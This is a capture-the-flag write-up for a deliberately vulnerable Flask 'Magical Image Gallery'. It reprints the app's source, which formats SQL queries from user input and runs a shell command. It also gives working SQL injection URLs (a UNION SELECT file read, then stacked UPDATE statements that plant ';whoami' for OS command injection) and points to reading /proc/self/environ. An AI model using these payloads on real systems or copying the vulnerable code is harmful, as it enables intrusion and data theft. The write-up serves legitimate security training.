Photo Gallery
Flag0
-
"Magical Image Gallery"
The images are fetched by using
id
parameters as such:http://34.74.105.127/9c4252a0af/fetch?id=1
When sending a GET request directly, the server doesn't render the URL as an image but as raw format. From past CTF experiences, this is usually a case of extracting a system file to obtain the flag.
After roaming around the web application and performing basic enumeration tests, there wasn't other obvious possible footholds. Therefore my assumption is a SQL injection attack is most likely a possibility.
-
Revealing Flag0 hints the web application is running uwsgi-nginx-flask-docker image. After reviewing the repository, I can only assume that I'm suppose to read a file using SQL injection now that we know what framework is being used.
With every docker image, there is always a
Dockerfile
that is included. After trial and error, aunion select
method was used to retrieve theDockerfile
.http://34.74.105.127/9c4252a0af/fetch?id=4%20union%20select%20%27Dockerfile%27
Output:
FROM tiangolo/uwsgi-nginx-flask:python2.7 WORKDIR /app RUN apt-get update RUN DEBIAN_FRONTEND=noninteractive apt-get install -y mysql-client mysql-server default-libmysqlclient-dev build-essential ADD requirements.txt /app/ RUN pip install --trusted-host pypi.python.org -r requirements.txt ADD . /app
The output looks similar to the
Dockerfile
included in the repository with the exception two things:- Installation of dependencies using
apt
andpip
. - Working directory is located in
/app
Going through the enumeration phase again, I checked out what is inside
requirements.txt
.Flask mysqlclient pycrypto
Nothing interesting is found. Looking back into the Github repository, there was an
/app
directory that containsmain.py
,prestart.sh
, anduwsgi.ini
. After probing the three files, themain.py
contains Flag0. - Installation of dependencies using
Flag1
-
Now that we can see the source code, a review is performed.
from flask import Flask, abort, redirect, request, Response import base64, json, MySQLdb, os, re, subprocess app = Flask(__name__) home = ''' <!doctype html> <html> <head> <title>Magical Image Gallery</title> </head> <body> <h1>Magical Image Gallery</h1> $ALBUMS$ </body> </html> ''' viewAlbum = ''' <!doctype html> <html> <head> <title>$TITLE$ -- Magical Image Gallery</title> </head> <body> <h1>$TITLE$</h1> $GALLERY$ </body> </html> ''' def getDb(): return MySQLdb.connect(host="localhost", user="root", password="", db="level5") def sanitize(data): return data.replace('&', '&').replace('<', '<').replace('>', '>').replace('"', '"') @app.route('/') def index(): cur = getDb().cursor() cur.execute('SELECT id, title FROM albums') albums = list(cur.fetchall()) rep = '' for id, title in albums: rep += '<h2>%s</h2>\n' % sanitize(title) rep += '<div>' cur.execute('SELECT id, title, filename FROM photos WHERE parent=%s LIMIT 3', (id, )) fns = [] for pid, ptitle, pfn in cur.fetchall(): rep += '<div><img src="fetch?id=%i" width="266" height="150"><br>%s</div>' % (pid, sanitize(ptitle)) fns.append(pfn) rep += '<i>Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('\n', 1)[-1] + '</i>' rep += '</div>\n' return home.replace('$ALBUMS$', rep) @app.route('/fetch') def fetch(): cur = getDb().cursor() if cur.execute('SELECT filename FROM photos WHERE id=%s' % request.args['id']) == 0: abort(404) # It's dangerous to go alone, take this: # ^FLAG^XXXXXX$FLAG$ return file('./%s' % cur.fetchone()[0].replace('..', ''), 'rb').read() if __name__ == "__main__": app.run(host='0.0.0.0', port=80)
-
This part of the code stood out as dangerous:
rep += '<i>Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('\n', 1)[-1] + '</i>'
The "spaced used" is displayed using
du -ch
with a supplied user input from%s
. This bad coding practice is susceptible to OS command line injection. Even though a part of the code does have an input sanitization function in place, it doesn't sanitize for semi-colon which is commonly used for injection type attacks.To exploit the vulnerability, the
id
parameter needs to be escaped using a semi-colon to close the SQL statement and inject anupdate
statement.http://34.74.105.127/9c4252a0af/fetch?id=1; update photos set filename="whoami" where id=1; commit
As you can see, the command did execute and parsed on the web page but for some reason the command is showing a try exception. After trial and error, the
du -ch %s
needs to be escaped as well using semi-colon for the OS command to execute.http://34.74.105.127/9c4252a0af/fetch?id=1; update photos set filename=";whoami" where id=1; commit
In the real world, this evidence is enough to submit a bug bounty report but because this is a CTF so we need to find the second flag. Additional hints reveal something about being aware of the environment. After digging around what this means, the final two flags can be found in
/proc/self/environ
.